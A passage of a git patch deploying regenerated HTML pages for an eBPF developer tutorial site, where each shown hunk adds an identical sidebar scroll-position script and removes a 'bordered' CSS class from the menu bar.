From b8bf25ab5adfd3aec29a8b72b79b2485ce7520b7 Mon Sep 17 00:00:00 2001
From: yunwei37 <1067852565@qq.com>
Date: Mon, 17 Jul 2023 12:26:22 +0000
Subject: [PATCH] =?UTF-8?q?Deploying=20to=20gh-pages=20from=20@=20eunomia-?=
 =?UTF-8?q?bpf/bpf-developer-tutorial@3ee14a9224638498dc26c14e9ca7410ee11e?=
 =?UTF-8?q?21fa=20=F0=9F=9A=80?=
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

---
 0-introduce/index.html                        | 24 +++++++++++++++++-
 1-helloworld/index.html                       | 24 +++++++++++++++++-
 10-hardirqs/index.html                        | 24 +++++++++++++++++-
 11-bootstrap/index.html                       | 24 +++++++++++++++++-
 13-tcpconnlat/index.html                      | 24 +++++++++++++++++-
 14-tcpstates/index.html                       | 24 +++++++++++++++++-
 15-javagc/index.html                          | 24 +++++++++++++++++-
 16-memleak/index.html                         | 24 +++++++++++++++++-
 17-biopattern/index.html                      | 24 +++++++++++++++++-
 18-further-reading/index.html                 | 24 +++++++++++++++++-
 19-lsm-connect/index.html                     | 24 +++++++++++++++++-
 2-kprobe-unlink/index.html                    | 24 +++++++++++++++++-
 20-tc/index.html                              | 24 +++++++++++++++++-
 22-android/index.html                         | 24 +++++++++++++++++-
 23-http/index.html                            | 24 +++++++++++++++++-
 24-hide/index.html                            | 24 +++++++++++++++++-
 25-signal/index.html                          | 24 +++++++++++++++++-
 26-sudo/index.html                            | 24 +++++++++++++++++-
 27-replace/index.html                         | 24 +++++++++++++++++-
 28-detach/index.html                          | 24 +++++++++++++++++-
 29-sockops/index.html                         | 24 +++++++++++++++++-
 3-fentry-unlink/index.html                    | 24 +++++++++++++++++-
 4-opensnoop/index.html                        | 24 +++++++++++++++++-
 404.html                                      | 24 +++++++++++++++++-
 5-uprobe-bashreadline/index.html              | 24 +++++++++++++++++-
 6-sigsnoop/index.html                         | 24 +++++++++++++++++-
 7-execsnoop/execsnoop.bpf.c                   |  1 -
 7-execsnoop/index.html                        | 25 +++++++++++++++++--
 8-exitsnoop/index.html                        | 24 +++++++++++++++++-
 9-runqlat/index.html                          | 24 +++++++++++++++++-
 bcc-documents/kernel-versions.html            | 24 +++++++++++++++++-
 bcc-documents/kernel_config.html              | 24 +++++++++++++++++-
 bcc-documents/reference_guide.html            | 24 +++++++++++++++++-
 bcc-documents/special_filtering.html          | 24 +++++++++++++++++-
 bcc-documents/tutorial.html                   | 24 +++++++++++++++++-
 .../tutorial_bcc_python_developer.html        | 24 +++++++++++++++++-
 book.js                                       | 16 ++++--------
 index.html                                    | 24 +++++++++++++++++-
 print.html                                    | 25 +++++++++++++++++--
 searchindex.js                                |  2 +-
 searchindex.json                              |  2 +-
 41 files changed, 858 insertions(+), 53 deletions(-)

diff --git a/0-introduce/index.html b/0-introduce/index.html
index d4e96bd..89379b0 100644
--- a/0-introduce/index.html
+++ b/0-introduce/index.html
@@ -88,11 +88,33 @@
             <div id="sidebar-resize-handle" class="sidebar-resize-handle"></div>
         </nav>
 
+        <!-- Track and set sidebar scroll position -->
+        <script>
+            var sidebarScrollbox = document.querySelector('#sidebar .sidebar-scrollbox');
+            sidebarScrollbox.addEventListener('click', function(e) {
+                if (e.target.tagName === 'A') {
+                    sessionStorage.setItem('sidebar-scroll', sidebarScrollbox.scrollTop);
+                }
+            }, { passive: true });
+            var sidebarScrollTop = sessionStorage.getItem('sidebar-scroll');
+            sessionStorage.removeItem('sidebar-scroll');
+            if (sidebarScrollTop) {
+                // preserve sidebar scroll position when navigating via links within sidebar
+                sidebarScrollbox.scrollTop = sidebarScrollTop;
+            } else {
+                // scroll sidebar to current active section when navigating via "next/previous chapter" buttons
+                var activeSection = document.querySelector('#sidebar .active');
+                if (activeSection) {
+                    activeSection.scrollIntoView({ block: 'center' });
+                }
+            }
+        </script>
+
         <div id="page-wrapper" class="page-wrapper">
 
             <div class="page">
                                 <div id="menu-bar-hover-placeholder"></div>
-                <div id="menu-bar" class="menu-bar sticky bordered">
+                <div id="menu-bar" class="menu-bar sticky">
                     <div class="left-buttons">
                         <button id="sidebar-toggle" class="icon-button" type="button" title="Toggle Table of Contents" aria-label="Toggle Table of Contents" aria-controls="sidebar">
                             <i class="fa fa-bars"></i>
diff --git a/1-helloworld/index.html b/1-helloworld/index.html
index 880bb74..5844bbb 100644
--- a/1-helloworld/index.html
+++ b/1-helloworld/index.html
@@ -88,11 +88,33 @@
             <div id="sidebar-resize-handle" class="sidebar-resize-handle"></div>
         </nav>
 
+        <!-- Track and set sidebar scroll position -->
+        <script>
+            var sidebarScrollbox = document.querySelector('#sidebar .sidebar-scrollbox');
+            sidebarScrollbox.addEventListener('click', function(e) {
+                if (e.target.tagName === 'A') {
+                    sessionStorage.setItem('sidebar-scroll', sidebarScrollbox.scrollTop);
+                }
+            }, { passive: true });
+            var sidebarScrollTop = sessionStorage.getItem('sidebar-scroll');
+            sessionStorage.removeItem('sidebar-scroll');
+            if (sidebarScrollTop) {
+                // preserve sidebar scroll position when navigating via links within sidebar
+                sidebarScrollbox.scrollTop = sidebarScrollTop;
+            } else {
+                // scroll sidebar to current active section when navigating via "next/previous chapter" buttons
+                var activeSection = document.querySelector('#sidebar .active');
+                if (activeSection) {
+                    activeSection.scrollIntoView({ block: 'center' });
+                }
+            }
+        </script>
+
         <div id="page-wrapper" class="page-wrapper">
 
             <div class="page">
                                 <div id="menu-bar-hover-placeholder"></div>
-                <div id="menu-bar" class="menu-bar sticky bordered">
+                <div id="menu-bar" class="menu-bar sticky">
                     <div class="left-buttons">
                         <button id="sidebar-toggle" class="icon-button" type="button" title="Toggle Table of Contents" aria-label="Toggle Table of Contents" aria-controls="sidebar">
                             <i class="fa fa-bars"></i>
diff --git a/10-hardirqs/index.html b/10-hardirqs/index.html
index 433e31f..4cfcaab 100644
--- a/10-hardirqs/index.html
+++ b/10-hardirqs/index.html
@@ -88,11 +88,33 @@
             <div id="sidebar-resize-handle" class="sidebar-resize-handle"></div>
         </nav>
 
+        <!-- Track and set sidebar scroll position -->
+        <script>
+            var sidebarScrollbox = document.querySelector('#sidebar .sidebar-scrollbox');
+            sidebarScrollbox.addEventListener('click', function(e) {
+                if (e.target.tagName === 'A') {
+                    sessionStorage.setItem('sidebar-scroll', sidebarScrollbox.scrollTop);
+                }
+            }, { passive: true });
+            var sidebarScrollTop = sessionStorage.getItem('sidebar-scroll');
+            sessionStorage.removeItem('sidebar-scroll');
+            if (sidebarScrollTop) {
+                // preserve sidebar scroll position when navigating via links within sidebar
+                sidebarScrollbox.scrollTop = sidebarScrollTop;
+            } else {
+                // scroll sidebar to current active section when navigating via "next/previous chapter" buttons
+                var activeSection = document.querySelector('#sidebar .active');
+                if (activeSection) {
+                    activeSection.scrollIntoView({ block: 'center' });
+                }
+            }
+        </script>
+
         <div id="page-wrapper" class="page-wrapper">
 
             <div class="page">
                                 <div id="menu-bar-hover-placeholder"></div>
-                <div id="menu-bar" class="menu-bar sticky bordered">
+                <div id="menu-bar" class="menu-bar sticky">
                     <div class="left-buttons">
                         <button id="sidebar-toggle" class="icon-button" type="button" title="Toggle Table of Contents" aria-label="Toggle Table of Contents" aria-controls="sidebar">
                             <i class="fa fa-bars"></i>
diff --git a/11-bootstrap/index.html b/11-bootstrap/index.html
index b766d27..982ab49 100644
--- a/11-bootstrap/index.html
+++ b/11-bootstrap/index.html
@@ -88,11 +88,33 @@
             <div id="sidebar-resize-handle" class="sidebar-resize-handle"></div>
         </nav>
 
+        <!-- Track and set sidebar scroll position -->
+        <script>
+            var sidebarScrollbox = document.querySelector('#sidebar .sidebar-scrollbox');
+            sidebarScrollbox.addEventListener('click', function(e) {
+                if (e.target.tagName === 'A') {
+                    sessionStorage.setItem('sidebar-scroll', sidebarScrollbox.scrollTop);
+                }
+            }, { passive: true });
+            var sidebarScrollTop = sessionStorage.getItem('sidebar-scroll');
+            sessionStorage.removeItem('sidebar-scroll');
+            if (sidebarScrollTop) {
+                // preserve sidebar scroll position when navigating via links within sidebar
+                sidebarScrollbox.scrollTop = sidebarScrollTop;
+            } else {
+                // scroll sidebar to current active section when navigating via "next/previous chapter" buttons
+                var activeSection = document.querySelector('#sidebar .active');
+                if (activeSection) {
+                    activeSection.scrollIntoView({ block: 'center' });
+                }
+            }
+        </script>
+
         <div id="page-wrapper" class="page-wrapper">
 
             <div class="page">
                                 <div id="menu-bar-hover-placeholder"></div>
-                <div id="menu-bar" class="menu-bar sticky bordered">
+                <div id="menu-bar" class="menu-bar sticky">
                     <div class="left-buttons">
                         <button id="sidebar-toggle" class="icon-button" type="button" title="Toggle Table of Contents" aria-label="Toggle Table of Contents" aria-controls="sidebar">
                             <i class="fa fa-bars"></i>
diff --git a/13-tcpconnlat/index.html b/13-tcpconnlat/index.html
index 7d7f81a..bff08c2 100644
--- a/13-tcpconnlat/index.html
+++ b/13-tcpconnlat/index.html
@@ -88,11 +88,33 @@
             <div id="sidebar-resize-handle" class="sidebar-resize-handle"></div>
         </nav>
 
+        <!-- Track and set sidebar scroll position -->
+        <script>
+            var sidebarScrollbox = document.querySelector('#sidebar .sidebar-scrollbox');
+            sidebarScrollbox.addEventListener('click', function(e) {
+                if (e.target.tagName === 'A') {
+                    sessionStorage.setItem('sidebar-scroll', sidebarScrollbox.scrollTop);
+                }
+            }, { passive: true });
+            var sidebarScrollTop = sessionStorage.getItem('sidebar-scroll');
+            sessionStorage.removeItem('sidebar-scroll');
+            if (sidebarScrollTop) {
+                // preserve sidebar scroll position when navigating via links within sidebar
+                sidebarScrollbox.scrollTop = sidebarScrollTop;
+            } else {
+                // scroll sidebar to current active section when navigating via "next/previous chapter" buttons
+                var activeSection = document.querySelector('#sidebar .active');
+                if (activeSection) {
+                    activeSection.scrollIntoView({ block: 'center' });
+                }
+            }
+        </script>
+
         <div id="page-wrapper" class="page-wrapper">
 
             <div class="page">
                                 <div id="menu-bar-hover-placeholder"></div>
-                <div id="menu-bar" class="menu-bar sticky bordered">
+                <div id="menu-bar" class="menu-bar sticky">
                     <div class="left-buttons">
                         <button id="sidebar-toggle" class="icon-button" type="button" title="Toggle Table of Contents" aria-label="Toggle Table of Contents" aria-controls="sidebar">
                             <i class="fa fa-bars"></i>
diff --git a/14-tcpstates/index.html b/14-tcpstates/index.html
index 9a03deb..ebd39ab 100644
--- a/14-tcpstates/index.html
+++ b/14-tcpstates/index.html
@@ -88,11 +88,33 @@
             <div id="sidebar-resize-handle" class="sidebar-resize-handle"></div>
         </nav>
 
+        <!-- Track and set sidebar scroll position -->
+        <script>
+            var sidebarScrollbox = document.querySelector('#sidebar .sidebar-scrollbox');
+            sidebarScrollbox.addEventListener('click', function(e) {
+                if (e.target.tagName === 'A') {
+                    sessionStorage.setItem('sidebar-scroll', sidebarScrollbox.scrollTop);
+                }
+            }, { passive: true });
+            var sidebarScrollTop = sessionStorage.getItem('sidebar-scroll');
+            sessionStorage.removeItem('sidebar-scroll');
+            if (sidebarScrollTop) {
+                // preserve sidebar scroll position when navigating via links within sidebar
+                sidebarScrollbox.scrollTop = sidebarScrollTop;
+            } else {
+                // scroll sidebar to current active section when navigating via "next/previous chapter" buttons
+                var activeSection = document.querySelector('#sidebar .active');
+                if (activeSection) {
+                    activeSection.scrollIntoView({ block: 'center' });
+                }
+            }
+        </script>
+
         <div id="page-wrapper" class="page-wrapper">
 
             <div class="page">
                                 <div id="menu-bar-hover-placeholder"></div>
-                <div id="menu-bar" class="menu-bar sticky bordered">
+                <div id="menu-bar" class="menu-bar sticky">
                     <div class="left-buttons">
                         <button id="sidebar-toggle" class="icon-button" type="button" title="Toggle Table of Contents" aria-label="Toggle Table of Contents" aria-controls="sidebar">
                             <i class="fa fa-bars"></i>
diff --git a/15-javagc/index.html b/15-javagc/index.html
index 258da56..7d5413b 100644
--- a/15-javagc/index.html
+++ b/15-javagc/index.html
@@ -88,11 +88,33 @@
             <div id="sidebar-resize-handle" class="sidebar-resize-handle"></div>
         </nav>
 
+        <!-- Track and set sidebar scroll position -->
+        <script>
+            var sidebarScrollbox = document.querySelector('#sidebar .sidebar-scrollbox');
+            sidebarScrollbox.addEventListener('click', function(e) {
+                if (e.target.tagName === 'A') {
+                    sessionStorage.setItem('sidebar-scroll', sidebarScrollbox.scrollTop);
+                }
+            }, { passive: true });
+            var sidebarScrollTop = sessionStorage.getItem('sidebar-scroll');
+            sessionStorage.removeItem('sidebar-scroll');
+            if (sidebarScrollTop) {
+                // preserve sidebar scroll position when navigating via links within sidebar
+                sidebarScrollbox.scrollTop = sidebarScrollTop;
+            } else {
+                // scroll sidebar to current active section when navigating via "next/previous chapter" buttons
+                var activeSection = document.querySelector('#sidebar .active');
+                if (activeSection) {
+                    activeSection.scrollIntoView({ block: 'center' });
+                }
+            }
+        </script>
+
         <div id="page-wrapper" class="page-wrapper">
 
             <div class="page">
                                 <div id="menu-bar-hover-placeholder"></div>
-                <div id="menu-bar" class="menu-bar sticky bordered">
+                <div id="menu-bar" class="menu-bar sticky">
                     <div class="left-buttons">
                         <button id="sidebar-toggle" class="icon-button" type="button" title="Toggle Table of Contents" aria-label="Toggle Table of Contents" aria-controls="sidebar">
                             <i class="fa fa-bars"></i>
diff --git a/16-memleak/index.html b/16-memleak/index.html
index 722761c..1aa2559 100644
--- a/16-memleak/index.html
+++ b/16-memleak/index.html
@@ -88,11 +88,33 @@
             <div id="sidebar-resize-handle" class="sidebar-resize-handle"></div>
         </nav>
 
+        <!-- Track and set sidebar scroll position -->
+        <script>
+            var sidebarScrollbox = document.querySelector('#sidebar .sidebar-scrollbox');
+            sidebarScrollbox.addEventListener('click', function(e) {
+                if (e.target.tagName === 'A') {
+                    sessionStorage.setItem('sidebar-scroll', sidebarScrollbox.scrollTop);
+                }
+            }, { passive: true });
+            var sidebarScrollTop = sessionStorage.getItem('sidebar-scroll');
+            sessionStorage.removeItem('sidebar-scroll');
+            if (sidebarScrollTop) {
+                // preserve sidebar scroll position when navigating via links within sidebar
+                sidebarScrollbox.scrollTop = sidebarScrollTop;
+            } else {
+                // scroll sidebar to current active section when navigating via "next/previous chapter" buttons
+                var activeSection = document.querySelector('#sidebar .active');
+                if (activeSection) {
+                    activeSection.scrollIntoView({ block: 'center' });
+                }
+            }
+        </script>
+
         <div id="page-wrapper" class="page-wrapper">
 
             <div class="page">
                                 <div id="menu-bar-hover-placeholder"></div>
-                <div id="menu-bar" class="menu-bar sticky bordered">
+                <div id="menu-bar" class="menu-bar sticky">
                     <div class="left-buttons">
                         <button id="sidebar-toggle" class="icon-button" type="button" title="Toggle Table of Contents" aria-label="Toggle Table of Contents" aria-controls="sidebar">
                             <i class="fa fa-bars"></i>
diff --git a/17-biopattern/index.html b/17-biopattern/index.html
index 7676d71..d762e16 100644
--- a/17-biopattern/index.html
+++ b/17-biopattern/index.html
@@ -88,11 +88,33 @@
             <div id="sidebar-resize-handle" class="sidebar-resize-handle"></div>
         </nav>
 
+        <!-- Track and set sidebar scroll position -->
+        <script>
+            var sidebarScrollbox = document.querySelector('#sidebar .sidebar-scrollbox');
+            sidebarScrollbox.addEventListener('click', function(e) {
+                if (e.target.tagName === 'A') {
+                    sessionStorage.setItem('sidebar-scroll', sidebarScrollbox.scrollTop);
+                }
+            }, { passive: true });
+            var sidebarScrollTop = sessionStorage.getItem('sidebar-scroll');
+            sessionStorage.removeItem('sidebar-scroll');
+            if (sidebarScrollTop) {
+                // preserve sidebar scroll position when navigating via links within sidebar
+                sidebarScrollbox.scrollTop = sidebarScrollTop;
+            } else {
+                // scroll sidebar to current active section when navigating via "next/previous chapter" buttons
+                var activeSection = document.querySelector('#sidebar .active');
+                if (activeSection) {
+                    activeSection.scrollIntoView({ block: 'center' });
+                }
+            }
+        </script>
+
         <div id="page-wrapper" class="page-wrapper">
 
             <div class="page">
                                 <div id="menu-bar-hover-placeholder"></div>
-                <div id="menu-bar" class="menu-bar sticky bordered">
+                <div id="menu-bar" class="menu-bar sticky">
                     <div class="left-buttons">
                         <button id="sidebar-toggle" class="icon-button" type="button" title="Toggle Table of Contents" aria-label="Toggle Table of Contents" aria-controls="sidebar">
                             <i class="fa fa-bars"></i>
diff --git a/18-further-reading/index.html b/18-further-reading/index.html
index 75f9820..f986bcd 100644
--- a/18-further-reading/index.html
+++ b/18-further-reading/index.html
@@ -88,11 +88,33 @@
             <div id="sidebar-resize-handle" class="sidebar-resize-handle"></div>
         </nav>
 
+        <!-- Track and set sidebar scroll position -->
+        <script>
+            var sidebarScrollbox = document.querySelector('#sidebar .sidebar-scrollbox');
+            sidebarScrollbox.addEventListener('click', function(e) {
+                if (e.target.tagName === 'A') {
+                    sessionStorage.setItem('sidebar-scroll', sidebarScrollbox.scrollTop);
+                }
+            }, { passive: true });
+            var sidebarScrollTop = sessionStorage.getItem('sidebar-scroll');
+            sessionStorage.removeItem('sidebar-scroll');
+            if (sidebarScrollTop) {
+                // preserve sidebar scroll position when navigating via links within sidebar
+                sidebarScrollbox.scrollTop = sidebarScrollTop;
+            } else {
+                // scroll sidebar to current active section when navigating via "next/previous chapter" buttons
+                var activeSection = document.querySelector('#sidebar .active');
+                if (activeSection) {
+                    activeSection.scrollIntoView({ block: 'center' });
+                }
+            }
+        </script>
+
         <div id="page-wrapper" class="page-wrapper">
 
             <div class="page">
                                 <div id="menu-bar-hover-placeholder"></div>
-                <div id="menu-bar" class="menu-bar sticky bordered">
+                <div id="menu-bar" class="menu-bar sticky">
                     <div class="left-buttons">
                         <button id="sidebar-toggle" class="icon-button" type="button" title="Toggle Table of Contents" aria-label="Toggle Table of Contents" aria-controls="sidebar">
                             <i class="fa fa-bars"></i>
diff --git a/19-lsm-connect/index.html b/19-lsm-connect/index.html
index 38e8eed..f49340a 100644
--- a/19-lsm-connect/index.html
+++ b/19-lsm-connect/index.html
@@ -88,11 +88,33 @@
             <div id="sidebar-resize-handle" class="sidebar-resize-handle"></div>
         </nav>
 
+        <!-- Track and set sidebar scroll position -->
+        <script>
+            var sidebarScrollbox = document.querySelector('#sidebar .sidebar-scrollbox');
+            sidebarScrollbox.addEventListener('click', function(e) {
+                if (e.target.tagName === 'A') {
+                    sessionStorage.setItem('sidebar-scroll', sidebarScrollbox.scrollTop);
+                }
+            }, { passive: true });
+            var sidebarScrollTop = sessionStorage.getItem('sidebar-scroll');
+            sessionStorage.removeItem('sidebar-scroll');
+            if (sidebarScrollTop) {
+                // preserve sidebar scroll position when navigating via links within sidebar
+                sidebarScrollbox.scrollTop = sidebarScrollTop;
+            } else {
+                // scroll sidebar to current active section when navigating via "next/previous chapter" buttons
+                var activeSection = document.querySelector('#sidebar .active');
+                if (activeSection) {
+                    activeSection.scrollIntoView({ block: 'center' });
+                }
+            }
+        </script>
+
         <div id="page-wrapper" class="page-wrapper">
 
             <div class="page">
                                 <div id="menu-bar-hover-placeholder"></div>
-                <div id="menu-bar" class="menu-bar sticky bordered">
+                <div id="menu-bar" class="menu-bar sticky">
                     <div class="left-buttons">
                         <button id="sidebar-toggle" class="icon-button" type="button" title="Toggle Table of Contents" aria-label="Toggle Table of Contents" aria-controls="sidebar">
                             <i class="fa fa-bars"></i>
diff --git a/2-kprobe-unlink/index.html b/2-kprobe-unlink/index.html
index 7c487cb..5b84ba4 100644
--- a/2-kprobe-unlink/index.html
+++ b/2-kprobe-unlink/index.html
@@ -88,11 +88,33 @@
             <div id="sidebar-resize-handle" class="sidebar-resize-handle"></div>
         </nav>
 
+        <!-- Track and set sidebar scroll position -->
+        <script>
+            var sidebarScrollbox = document.querySelector('#sidebar .sidebar-scrollbox');
+            sidebarScrollbox.addEventListener('click', function(e) {
+                if (e.target.tagName === 'A') {
+                    sessionStorage.setItem('sidebar-scroll', sidebarScrollbox.scrollTop);
+                }
+            }, { passive: true });
+            var sidebarScrollTop = sessionStorage.getItem('sidebar-scroll');
+            sessionStorage.removeItem('sidebar-scroll');
+            if (sidebarScrollTop) {
+                // preserve sidebar scroll position when navigating via links within sidebar
+                sidebarScrollbox.scrollTop = sidebarScrollTop;
+            } else {
+                // scroll sidebar to current active section when navigating via "next/previous chapter" buttons
+                var activeSection = document.querySelector('#sidebar .active');
+                if (activeSection) {
+                    activeSection.scrollIntoView({ block: 'center' });
+                }
+            }
+        </script>
+
         <div id="page-wrapper" class="page-wrapper">
 
             <div class="page">
                                 <div id="menu-bar-hover-placeholder"></div>
-                <div id="menu-bar" class="menu-bar sticky bordered">
+                <div id="menu-bar" class="menu-bar sticky">
                     <div class="left-buttons">
                         <button id="sidebar-toggle" class="icon-button" type="button" title="Toggle Table of Contents" aria-label="Toggle Table of Contents" aria-controls="sidebar">
                             <i class="fa fa-bars"></i>
diff --git a/20-tc/index.html b/20-tc/index.html
index fa33ccf..af1bccf 100644
--- a/20-tc/index.html
+++ b/20-tc/index.html
@@ -88,11 +88,33 @@
             <div id="sidebar-resize-handle" class="sidebar-resize-handle"></div>
         </nav>
 
+        <!-- Track and set sidebar scroll position -->
+        <script>
+            var sidebarScrollbox = document.querySelector('#sidebar .sidebar-scrollbox');
+            sidebarScrollbox.addEventListener('click', function(e) {
+                if (e.target.tagName === 'A') {
+                    sessionStorage.setItem('sidebar-scroll', sidebarScrollbox.scrollTop);
+                }
+            }, { passive: true });
+            var sidebarScrollTop = sessionStorage.getItem('sidebar-scroll');
+            sessionStorage.removeItem('sidebar-scroll');
+            if (sidebarScrollTop) {
+                // preserve sidebar scroll position when navigating via links within sidebar
+                sidebarScrollbox.scrollTop = sidebarScrollTop;
+            } else {
+                // scroll sidebar to current active section when navigating via "next/previous chapter" buttons
+                var activeSection = document.querySelector('#sidebar .active');
+                if (activeSection) {
+                    activeSection.scrollIntoView({ block: 'center' });
+                }
+            }
+        </script>
+
         <div id="page-wrapper" class="page-wrapper">
 
             <div class="page">
                                 <div id="menu-bar-hover-placeholder"></div>
-                <div id="menu-bar" class="menu-bar sticky bordered">
+                <div id="menu-bar" class="menu-bar sticky">
                     <div class="left-buttons">
                         <button id="sidebar-toggle" class="icon-button" type="button" title="Toggle Table of Contents" aria-label="Toggle Table of Contents" aria-controls="sidebar">
                             <i class="fa fa-bars"></i>
diff --git a/22-android/index.html b/22-android/index.html
index 330014f..4d3fd79 100644
--- a/22-android/index.html
+++ b/22-android/index.html
@@ -88,11 +88,33 @@
             <div id="sidebar-resize-handle" class="sidebar-resize-handle"></div>
         </nav>
 
+        <!-- Track and set sidebar scroll position -->
+        <script>
+            var sidebarScrollbox = document.querySelector('#sidebar .sidebar-scrollbox');
+            sidebarScrollbox.addEventListener('click', function(e) {
+                if (e.target.tagName === 'A') {
+                    sessionStorage.setItem('sidebar-scroll', sidebarScrollbox.scrollTop);
+                }
+            }, { passive: true });
+            var sidebarScrollTop = sessionStorage.getItem('sidebar-scroll');
+            sessionStorage.removeItem('sidebar-scroll');
+            if (sidebarScrollTop) {
+                // preserve sidebar scroll position when navigating via links within sidebar
+                sidebarScrollbox.scrollTop = sidebarScrollTop;
+            } else {
+                // scroll sidebar to current active section when navigating via "next/previous chapter" buttons
+                var activeSection = document.querySelector('#sidebar .active');
+                if (activeSection) {
+                    activeSection.scrollIntoView({ block: 'center' });
+                }
+            }
+        </script>
+
         <div id="page-wrapper" class="page-wrapper">
 
             <div class="page">
                                 <div id="menu-bar-hover-placeholder"></div>
-                <div id="menu-bar" class="menu-bar sticky bordered">
+                <div id="menu-bar" class="menu-bar sticky">
                     <div class="left-buttons">
                         <button id="sidebar-toggle" class="icon-button" type="button" title="Toggle Table of Contents" aria-label="Toggle Table of Contents" aria-controls="sidebar">
                             <i class="fa fa-bars"></i>
diff --git a/23-http/index.html b/23-http/index.html
index fa51d8f..acfc765 100644
--- a/23-http/index.html
+++ b/23-http/index.html
@@ -88,11 +88,33 @@
             <div id="sidebar-resize-handle" class="sidebar-resize-handle"></div>
         </nav>
 
+        <!-- Track and set sidebar scroll position -->
+        <script>
+            var sidebarScrollbox = document.querySelector('#sidebar .sidebar-scrollbox');
+            sidebarScrollbox.addEventListener('click', function(e) {
+                if (e.target.tagName === 'A') {
+                    sessionStorage.setItem('sidebar-scroll', sidebarScrollbox.scrollTop);
+                }
+            }, { passive: true });
+            var sidebarScrollTop = sessionStorage.getItem('sidebar-scroll');
+            sessionStorage.removeItem('sidebar-scroll');
+            if (sidebarScrollTop) {
+                // preserve sidebar scroll position when navigating via links within sidebar
+                sidebarScrollbox.scrollTop = sidebarScrollTop;
+            } else {
+                // scroll sidebar to current active section when navigating via "next/previous chapter" buttons
+                var activeSection = document.querySelector('#sidebar .active');
+                if (activeSection) {
+                    activeSection.scrollIntoView({ block: 'center' });
+                }
+            }
+        </script>
+
         <div id="page-wrapper" class="page-wrapper">
 
             <div class="page">
                                 <div id="menu-bar-hover-placeholder"></div>
-                <div id="menu-bar" class="menu-bar sticky bordered">
+                <div id="menu-bar" class="menu-bar sticky">
                     <div class="left-buttons">
                         <button id="sidebar-toggle" class="icon-button" type="button" title="Toggle Table of Contents" aria-label="Toggle Table of Contents" aria-controls="sidebar">
                             <i class="fa fa-bars"></i>
diff --git a/24-hide/index.html b/24-hide/index.html
index d2811f2..eebb82c 100644
--- a/24-hide/index.html
+++ b/24-hide/index.html
@@ -88,11 +88,33 @@
             <div id="sidebar-resize-handle" class="sidebar-resize-handle"></div>
         </nav>
 
+        <!-- Track and set sidebar scroll position -->
+        <script>
+            var sidebarScrollbox = document.querySelector('#sidebar .sidebar-scrollbox');
+            sidebarScrollbox.addEventListener('click', function(e) {
+                if (e.target.tagName === 'A') {
+                    sessionStorage.setItem('sidebar-scroll', sidebarScrollbox.scrollTop);
+                }
+            }, { passive: true });
+            var sidebarScrollTop = sessionStorage.getItem('sidebar-scroll');
+            sessionStorage.removeItem('sidebar-scroll');
+            if (sidebarScrollTop) {
+                // preserve sidebar scroll position when navigating via links within sidebar
+                sidebarScrollbox.scrollTop = sidebarScrollTop;
+            } else {
+                // scroll sidebar to current active section when navigating via "next/previous chapter" buttons
+                var activeSection = document.querySelector('#sidebar .active');
+                if (activeSection) {
+                    activeSection.scrollIntoView({ block: 'center' });
+                }
+            }
+        </script>
+
         <div id="page-wrapper" class="page-wrapper">
 
             <div class="page">
                                 <div id="menu-bar-hover-placeholder"></div>
-                <div id="menu-bar" class="menu-bar sticky bordered">
+                <div id="menu-bar" class="menu-bar sticky">
                     <div class="left-buttons">
                         <button id="sidebar-toggle" class="icon-button" type="button" title="Toggle Table of Contents" aria-label="Toggle Table of Contents" aria-controls="sidebar">
                             <i class="fa fa-bars"></i>
diff --git a/25-signal/index.html b/25-signal/index.html
index 8597293..50e5da3 100644
--- a/25-signal/index.html
+++ b/25-signal/index.html
@@ -88,11 +88,33 @@
             <div id="sidebar-resize-handle" class="sidebar-resize-handle"></div>
         </nav>
 
+        <!-- Track and set sidebar scroll position -->
+        <script>
+            var sidebarScrollbox = document.querySelector('#sidebar .sidebar-scrollbox');
+            sidebarScrollbox.addEventListener('click', function(e) {
+                if (e.target.tagName === 'A') {
+                    sessionStorage.setItem('sidebar-scroll', sidebarScrollbox.scrollTop);
+                }
+            }, { passive: true });
+            var sidebarScrollTop = sessionStorage.getItem('sidebar-scroll');
+            sessionStorage.removeItem('sidebar-scroll');
+            if (sidebarScrollTop) {
+                // preserve sidebar scroll position when navigating via links within sidebar
+                sidebarScrollbox.scrollTop = sidebarScrollTop;
+            } else {
+                // scroll sidebar to current active section when navigating via "next/previous chapter" buttons
+                var activeSection = document.querySelector('#sidebar .active');
+                if (activeSection) {
+                    activeSection.scrollIntoView({ block: 'center' });
+                }
+            }
+        </script>
+
         <div id="page-wrapper" class="page-wrapper">
 
             <div class="page">
                                 <div id="menu-bar-hover-placeholder"></div>
-                <div id="menu-bar" class="menu-bar sticky bordered">
+                <div id="menu-bar" class="menu-bar sticky">
                     <div class="left-buttons">
                         <button id="sidebar-toggle" class="icon-button" type="button" title="Toggle Table of Contents" aria-label="Toggle Table of Contents" aria-controls="sidebar">
                             <i class="fa fa-bars"></i>
diff --git a/26-sudo/index.html b/26-sudo/index.html
index cb5a8d9..111d32f 100644
--- a/26-sudo/index.html
+++ b/26-sudo/index.html
@@ -88,11 +88,33 @@
             <div id="sidebar-resize-handle" class="sidebar-resize-handle"></div>
         </nav>
 
+        <!-- Track and set sidebar scroll position -->
+        <script>
+            var sidebarScrollbox = document.querySelector('#sidebar .sidebar-scrollbox');
+            sidebarScrollbox.addEventListener('click', function(e) {
+                if (e.target.tagName === 'A') {
+                    sessionStorage.setItem('sidebar-scroll', sidebarScrollbox.scrollTop);
+                }
+            }, { passive: true });
+            var sidebarScrollTop = sessionStorage.getItem('sidebar-scroll');
+            sessionStorage.removeItem('sidebar-scroll');
+            if (sidebarScrollTop) {
+                // preserve sidebar scroll position when navigating via links within sidebar
+                sidebarScrollbox.scrollTop = sidebarScrollTop;
+            } else {
+                // scroll sidebar to current active section when navigating via "next/previous chapter" buttons
+                var activeSection = document.querySelector('#sidebar .active');
+                if (activeSection) {
+                    activeSection.scrollIntoView({ block: 'center' });
+                }
+            }
+        </script>
+
         <div id="page-wrapper" class="page-wrapper">
 
             <div class="page">
                                 <div id="menu-bar-hover-placeholder"></div>
-                <div id="menu-bar" class="menu-bar sticky bordered">
+                <div id="menu-bar" class="menu-bar sticky">
                     <div class="left-buttons">
                         <button id="sidebar-toggle" class="icon-button" type="button" title="Toggle Table of Contents" aria-label="Toggle Table of Contents" aria-controls="sidebar">
                             <i class="fa fa-bars"></i>
diff --git a/27-replace/index.html b/27-replace/index.html
index 90af14f..a7e8d44 100644
--- a/27-replace/index.html
+++ b/27-replace/index.html
@@ -88,11 +88,33 @@
             <div id="sidebar-resize-handle" class="sidebar-resize-handle"></div>
         </nav>
 
+        <!-- Track and set sidebar scroll position -->
+        <script>
